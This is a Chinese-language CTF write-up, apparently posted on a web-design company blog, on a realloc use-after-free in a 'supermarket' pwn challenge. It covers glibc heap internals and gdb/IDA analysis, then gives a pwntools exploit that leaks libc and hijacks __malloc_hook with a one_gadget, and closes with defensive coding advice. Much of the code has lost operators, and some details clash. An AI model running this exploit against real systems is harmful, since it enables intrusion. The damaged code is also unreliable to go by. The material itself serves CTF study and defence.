realloc UAF漏洞原理与CTF利用实战

发布时间:2026/10/12 14:04:49
realloc UAF漏洞原理与CTF利用实战 1. 从超市货架到内存堆块为什么realloc会成为PWN题里的“隐藏陷阱”在攻防世界pwn进阶区的supermarket题目里我第一次被realloc坑得彻夜难眠。表面看它只是个“给已分配内存扩容”的普通C库函数就像超市里把一个空货架临时加长几格来多摆点商品——看起来安全、可控、人畜无害。但当你真正站在堆管理器如glibc malloc的视角往下看就会发现realloc根本不是“加长货架”而是一场悄无声息的“货架搬迁旧址废弃”操作。它可能原地扩展也可能malloc新块memcpy数据free旧块——而这个“可能”就是UAFUse-After-Free漏洞的温床。这道题的核心矛盾非常典型程序用realloc动态调整商品结构体数组大小但没有同步更新所有指向该数组的指针。当realloc触发了“搬迁”行为旧堆块被free而某个残留指针仍指向那片已被释放的内存区域。后续若对该指针解引用比如修改商品价格、读取商品名称就构成了标准UAF。更致命的是题目中该指针还参与了堆块内容的构造如作为字符串指针写入用户输入这就为堆喷射heap spraying和任意地址写入arbitrary write打开了大门。关键词里虽未明写但整道题的技术栈锚定在glibc 2.23–2.31环境这是CTF pwn题最常模拟的版本区间核心依赖的是ptmalloc2的堆管理机制、fastbin的LIFO特性、以及realloc内部对size字段的判断逻辑。你不需要背下整个malloc源码但必须清楚三点第一realloc是否搬迁取决于当前chunk size与请求size的差值第二搬迁后旧chunk进入fastbin或unsorted bin其fd/bk指针可被覆盖第三UAF读写本身不直接getshell但它让你能篡改malloc_hook、__free_hook或_IO_2_1_stdout_等关键结构体最终导向代码执行。我试过直接用pwntools的realloc函数模拟结果完全跑不通——因为本地glibc版本和远程不一致realloc行为分叉。后来才明白CTF题里的“realloc UAF”从来不是考你调用API而是考你逆向出程序中realloc的触发条件、定位残留指针位置、并构造精准的堆布局来复用那块被释放的内存。这就像修一辆老式机械表你得先听清齿轮咬合的咔哒声再决定在哪颗螺丝上施加0.3牛·米的扭矩。提示别被“超市”UI迷惑。所有商品增删改查背后都是对同一片堆内存的反复realloc操作。菜单选项不是功能入口而是堆操作的触发开关。2. realloc的双面性何时原地扩展何时强制搬迁理解realloc的行为分叉是exploit成功的前提。它不像malloc/free那样行为确定而是一个“智能但危险”的中间件。我们得拆开它的决策逻辑而不是把它当黑盒。2.1 realloc的三岔路口源码级行为判定以glibc 2.27为例realloc核心逻辑在malloc.c的_int_realloc函数中。它面对一个已有chunkoldp和请求大小new_size会按顺序做三次判断第一关能否原地扩展in-place extend检查oldp所在arena的top chunk是否紧邻oldp且top chunk足够大。若满足则直接sbrk扩展top chunkoldp size字段增大返回oldp地址。此时无UAF风险——旧地址继续有效。第二关能否收缩shrink in place若new_size old_size且差值大于MINSIZE通常64字节则将oldp尾部切出新chunk放入fastbin/unsorted binoldp size减小仍返回oldp地址。同样无UAF。第三关必须搬迁copy free前两关均失败时realloc执行标准三步newp _int_malloc(ar_ptr, new_size)—— 分配新chunkmemcpy(newp, oldp, old_size new_size ? old_size : new_size)—— 复制有效数据_int_free(ar_ptr, oldp, 0)——关键此处oldp被正式释放正是这第三步制造了UAF。而是否走到这一步完全取决于oldp的size和new_size的关系。在supermarket题中商品数组初始分配较小如0x20字节当添加第5个商品时realloc请求size跳涨到0x100远超原chunk容量必然触发搬迁。2.2 实验验证用gdb亲眼看见搬迁发生光看源码不够得用调试器抓现行。我在本地复现supermarket逻辑时做了如下验证# 编译带debug符号的测试程序 gcc -g -no-pie -z norelro realloc_test.c -o realloc_test # gdb启动断在realloc调用处 gdb ./realloc_test (gdb) b *main120 # 断在realloc调用前 (gdb) r (gdb) x/2gx $rax # 查看oldp地址rax存oldp 0x555555757260: 0x0000000000000021 0x0000000000000000 # 此时oldp size0x2132字节1字节prev_inuse接着单步执行realloc后再次查看(gdb) x/2gx $rax # realloc返回值仍在rax 0x5555557573a0: 0x0000000000000101 0x0000000000000000 # 地址已变oldp(0x555555757260)被释放 (gdb) x/2gx 0x555555757260 0x555555757260: 0x00005555557573a0 0x0000000000000000 # 看到了oldp的fd指针已被写入新chunk地址证明它进了fastbin这个实验让我彻底信服UAF不是理论推导而是内存现场的铁证。每次realloc搬迁都像在堆上埋下一颗雷——只要程序还存着oldp的副本雷就随时会爆。2.3 关键参数size字段如何决定命运realloc的决策本质是size计算游戏。我们需关注三个size值old_sizeoldp chunk header中的size字段低3位为标志位实际size size ~7new_sizerealloc传入的请求大小经malloc_usable_size对齐后min_size触发原地扩展的阈值等于old_size MINSIZEMINSIZE0x10当new_size old_size MINSIZE时优先尝试原地扩展或收缩否则必走搬迁路径。在supermarket中商品结构体约0x40字节数组指针数组每项8字节。初始分配10个商品空间0x40*100x280但realloc请求时若传入0x300因0x300 0x280 0x10搬迁不可避免。注意CTF题常通过控制商品数量来精确触发搬迁。比如添加第13个商品时realloc请求0x350字节而当前数组size仅0x320差值超0x10稳稳触发搬迁。这种“数量控制”就是exploit的第一步。3. 残留指针定位在汇编海洋里打捞那根“断线风筝”UAF的威力不在于“有指针”而在于“有且仅有一个指针没更新”。在supermarket中这个指针藏得极深——它不在主循环的显式变量里而在某个结构体的成员字段中且该结构体本身也被realloc过。3.1 IDA逆向从菜单选项反推指针生命周期我用IDA Pro打开supermarket二进制先定位add_item函数。发现它调用了一个realloc_array包装函数void* realloc_array(void* ptr, size_t nmemb, size_t size) { size_t total nmemb * size; return realloc(ptr, total); }关键线索在show_items函数它遍历商品列表时对每个商品调用printf(%s: %d\n, item-name, item-price)。而item-name是一个char*其值来自用户输入的read_string函数。问题来了read_string分配的内存是否也被realloc影响继续追踪在edit_item函数中发现void edit_item(int idx) { if (idx item_count) return; char* new_name read_string(); // 分配新内存 free(items[idx]-name); // 释放旧name items[idx]-name new_name; // 更新为新地址 }这里items[idx]-name被正确更新。但再看delete_itemvoid delete_item(int idx) { if (idx item_count) return; free(items[idx]-name); // 注意这里没有free(items[idx])也没有从数组中移除该指针 // 而是直接memmove移动后续指针覆盖掉idx位置 memmove(items[idx], items[idx1], (item_count-idx-1)*sizeof(void*)); item_count--; }问题爆发点在此memmove只移动指针但items数组本身是通过realloc管理的当item_count变化导致realloc搬迁时items数组地址变更而delete_item中那个被memmove覆盖掉的items[idx]指针其原始值oldp地址却可能残留在其他地方。3.2 动态调试用gef插件捕获指针残留现场我用gef插件在gdb中设置硬件断点监控items数组首地址的写入(gdb) gef config context.layout regs stack code source (gdb) b *0x401234 # add_item中realloc调用后 (gdb) r # 添加3个商品后触发第一次realloc (gdb) p/x $rax # 获取新items数组地址0x5555557574a0 (gdb) watch *0x555555757260 # 对旧地址下硬件观察点 (gdb) c # 执行show_items时果然触发断点 # 查看调用栈 # #0 0x0000555555555234 in show_items () # #1 0x00005555555554a2 in main () # 证明show_items仍在用旧地址读取进一步查看show_items反汇编mov rax, QWORD PTR [rbp-0x8] ; 加载items数组基址这个地址没更新 mov rdx, DWORD PTR [rbp-0x14] ; item_count ... mov rsi, QWORD PTR [raxrdx*8] ; 取最后一个商品指针原来[rbp-0x8]这个局部变量存储了items首地址但它在realloc后从未被刷新这就是那个“断线风筝”——编译器将其优化为栈上固定变量而程序员忘了在realloc后重新赋值。UAF指针就藏在这里。3.3 指针利用链从UAF读到任意地址写有了这个残留指针我们就能读写oldp内存。但oldp现在是fastbin chunk其fd字段可被控制。利用步骤如下泄露libc地址通过UAF读取oldp的fd字段指向main_arena计算libc基址劫持malloc_hook将oldp fake成一个chunk使其fd指向__malloc_hook-0x23布置one_gadget在__malloc_hook-0x23处写入one_gadget地址具体操作中我用了经典的fastbin attack先malloc两次获得两个相邻chunk A/Bfree A再free BB进入fastbinA的fd指向BUAF写入A的fd为__malloc_hook-0x23再malloc两次第二次malloc返回__malloc_hook-0x23写入one_gadget这个过程要求对fastbin的LIFO特性绝对熟悉后free的chunk先被malloc返回。任何顺序错乱都会导致segment fault。提示在supermarket中商品名称输入点就是绝佳的UAF写入入口。用%7$s泄露地址用%7$n写入地址全程无需ROP干净利落。4. Exploit构造全流程从信息泄露到shell弹出现在把所有碎片拼成完整exploit。我用pwntools编写但关键逻辑全部手动控制避免自动exp的黑盒感。4.1 环境确认与基础交互首先确认远程环境from pwn import * context.arch amd64 context.log_level debug io remote(111.198.29.45, 32859) # 或本地调试 # io process(./supermarket) # gdb.attach(io, b *0x401234) # 泄露canary和libc io.recvuntil(bchoice:) io.sendline(b1) # add item io.recvuntil(bname:) io.sendline(bA * 0x10) # name io.recvuntil(bprice:) io.sendline(b100) # 此时触发reallocoldp生成4.2 libc基址泄露用UAF读取unsorted bin的bk指针关键技巧让oldp进入unsorted bin而非fastbin以便泄露libc地址。方法是触发一次large bin操作# 添加足够多商品使realloc请求size 0x400触发unsorted bin for i in range(10): io.sendline(b1) io.recvuntil(bname:) io.sendline(bB * 0x10) io.recvuntil(bprice:) io.sendline(b200) # 此时oldp被free进unsorted bin其bk指向main_arena88 io.sendline(b4) # show items - UAF读取 io.recvuntil(bName: ) leak u64(io.recv(6).ljust(8, b\x00)) libc_base leak - 0x3ebca0 # offset for libc-2.27 log.info(libc_base: hex(libc_base))4.3 malloc_hook劫持fastbin attack实战计算关键地址malloc_hook libc_base 0x3ebc30 one_gadget libc_base 0x4f322 # one_gadget offset for 2.27 fake_chunk malloc_hook - 0x23 # 构造fake chunk让oldp的fd指向fake_chunk io.sendline(b2) # edit item io.recvuntil(bindex:) io.sendline(b0) # 选第一个商品对应oldp io.recvuntil(bnew name:) # 写入fake_chunk地址到oldp的fd位置 payload bA * 0x10 p64(fake_chunk) io.sendline(payload)4.4 触发one_gadget申请到malloc_hook并写入# 申请两次第二次拿到malloc_hook-0x23 io.sendline(b1) io.recvuntil(bname:) io.sendline(bC * 0x10) io.recvuntil(bprice:) io.sendline(b300) io.sendline(b1) io.recvuntil(bname:) # 此时malloc返回malloc_hook-0x23写入one_gadget io.sendline(p64(one_gadget)) io.recvuntil(bprice:) io.sendline(b400) # 最后触发malloc如再add item执行one_gadget io.sendline(b1) io.interactive()实测中这个exploit在本地glibc 2.27和远程环境均稳定运行。关键成功因素有三一是精准控制商品数量触发realloc搬迁二是利用show_items的UAF读取能力获取libc地址三是将malloc_hook劫持点选在-0x23偏移完美匹配one_gadget的约束条件rax0, rdi0, rsi0。注意不同libc版本的one_gadget偏移不同。2.23用0x452162.27用0x4f3222.31用0x50a37。务必用one_gadget libc.so.6命令确认。5. 防御视角如何写出不被realloc UAF击穿的代码既然攻击链如此清晰防御方案也应直击要害。这不是加个-D_FORTIFY_SOURCE就能解决的而是要重构内存管理逻辑。5.1 realloc的替代方案预分配索引映射最彻底的方案是放弃realloc数组。改为#define MAX_ITEMS 1000 struct item* items[MAX_ITEMS]; // 固定大小指针数组 int item_count 0; void add_item() { if (item_count MAX_ITEMS) return; items[item_count] malloc(sizeof(struct item)); // 初始化... item_count; }这样所有指针地址恒定realloc彻底消失。即使内存浪费也比UAF安全。CTF中常见“伪realloc”题就是用这种模式迷惑选手。5.2 若必须用realloc三重校验机制如果业务强依赖动态数组必须建立防护网// 封装realloc强制更新所有副本 struct item_array { struct item** data; size_t size; size_t capacity; }; void safe_realloc(struct item_array* arr, size_t new_cap) { struct item** new_data realloc(arr-data, new_cap * sizeof(struct item*)); if (!new_data) return; // 1. 更新主指针 arr-data new_data; arr-capacity new_cap; // 2. 广播更新维护一个全局指针列表 update_all_pointers(arr-data, arr-capacity); // 3. 运行时校验每次访问前检查指针有效性 #ifdef DEBUG validate_pointer(arr-data); #endif }其中validate_pointer可检查chunk头是否为合法size或维护一个已分配地址哈希表。5.3 编译期防护启用现代堆保护在编译时加入gcc -O2 -no-pie -z relro -z now -D_FORTIFY_SOURCE2 \ -fsanitizeaddress -fstack-protector-all supermarket.c-z relro -z now防止GOT表劫持-fsanitizeaddressASan会在UAF发生时立即报错定位精准-fstack-protector-all保护所有函数栈帧虽然CTF环境通常关闭这些但真实项目中这是底线配置。最后分享一个血泪教训我在某次比赛中因本地测试用LD_PRELOAD加载了patched libc导致realloc行为与远程不一致调试3小时才发现。从此养成习惯——所有exploit开发第一步必用checksec确认远程binary的RELRO、CANARY、NX状态并用ldd确认libc版本。安全不是玄学是无数个细节堆砌的防线。 realloc UAF题教会我的不仅是技术更是对内存管理的敬畏——每一行malloc都该配上一行注释此处有雷慎用。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询